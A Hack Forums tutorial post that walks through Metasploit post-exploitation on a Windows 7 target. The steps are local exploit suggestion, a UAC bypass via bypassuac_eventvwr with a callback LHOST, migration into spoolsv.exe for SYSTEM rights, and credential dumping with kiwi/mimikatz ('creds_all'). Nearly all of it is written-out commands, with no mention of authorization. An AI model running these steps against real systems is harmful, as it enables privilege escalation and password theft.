

Forum:[Hack Forums](#)

Thread: [\[Metasploit\] Hacking windows: privilege escalation and migration in metasploit #2](#)

slober - April 18, 2020, 10:24 am

[Metasploit] Windows privilege escalation in metasploit #2

Welcome, This tutorial will be a continuation of the last

<https://hackforums.net/showthread.php?tid=6068305>

We will explore how we can escalate our privileges and gain administrator privileges on the system

Before we can do that we should gather some more system information about our target.

At this point in time, you should have a meterpreter session running like this one

We should get the current user. we can do this by typing `getuid`

Code `getuid`

This would give you a result similar to this `Dark-PC\Dark`

Now that you know the user you should get some more information about the system specification like OS buildnumber architecture etc...

You can achieve this by typing `sysinfo` this stands for system information

Code `sysinfo`

This (in my case) would be the output:

```
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter    : x86/windows
```

Ok, we should have all the information we need at this point in time that is. we can move on to the next step which is to scan the machine for local vulnerabilities.

Metasploit has a post-module for that it's called Lester which is an acronym for Local Exploit SUGESTER or LESTER.

It can sometimes be a bit buggy (it was written back in 2015 by an intern called Mohamed Sadek) but most of the time it works fine.

It's a less intrusive way to scan the host for said vulnerabilities which we can take advantage of.

We can run this by typing `run post/multi/recon/local_exploit_suggester` in our meterpreter shell:

Code `run post/multi/recon/local_exploit_suggester`

Now that we know of some exploits (I'll be using exploit/windows/local/bypassuac_eventvwr) we can background our current session we can do this by typing background in the shell.

Code background

Well, we do have the exploit we want to use so we should use it right? Yes, you are totally right! you should type use [EXPLOIT_NAME] in your msfconsole. In my case that would be: use exploit/windows/local/bypassuac_eventvwr

Code use exploit/windows/local/bypassuac_eventvwr

We can now use show options to show the options we need to set in this case we need to set the session number

Code show options

I'm also setting the LHOST (Local Host (My IP))

you can do this by typing set lhost [IP]"in my case that would be set lhost 10.8.6.162

Code set lhost 10.8.6.162

Once you've set the exploit you can run it by typing run

Code run

You can see that a new session has been opened in my case this would be session 2

you can go to that session by typing sessions SESSION_NUMBER in my case that would be sessions 2

Code sessions 2

It could be that in your cases the session is opened up automatically in that case you won't need to do the above

We do now have some extra privileges we can see that by typing getprivs

Code getprivs

First we'll need to move our process to another one with a bit more rights so that we can interact with for example the lsass service

Wikipedia Wrote:Local Security Authority Subsystem Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens.[1] It also writes to the Windows Security Log.

Forcible termination of lsass.exe will result in the Welcome screen losing its accounts, prompting a restart of the machine.

Because lsass.exe is a crucial system file, its name is often faked by malware. The lsass.exe file

used by Windows is located in the directory %WINDIR%\System32. If it is running from any other location, that lsass.exe is most likely a virus, spyware, trojan or worm. Due to the way some systems display fonts, malicious developers may name the file something like lsass.exe (capital "i" instead of a lowercase "l") in efforts to trick users into installing or executing a malicious file instead of the trusted system file.[2]

So let's pack our bags and move to a different service.

Wait... first, we'll need to know what processes we can move to. We can list the processes by typing ps

Code ps

we should get a process with the NT AUTHORITY\SYSTEM as the user. We should also pick one that would restart when we should crash it.

The printer service would be ideal for this (spoolsv.exe)

To migrate to this process we should type the following:

migrate -N spoolsv.exe

Code migrate -N spoolsv.exe The -N stands for name

So we'll migrate to the spool server

Let's check our user now (getuid)

We did it!

Well let's read out some passwords... we can use a tool called mimikatz this will enable us to read the passwords out the module for that is kiwi

we can load this by typing load kiwi

Code load kiwi

For getting the passwords we need only one command more named creds_all

Code creds_all

Well I hope you've enjoyed reading through this case study and Metasploit tutorial and I hope that it'll be of use to you and let me know what kinds of tutorials you want next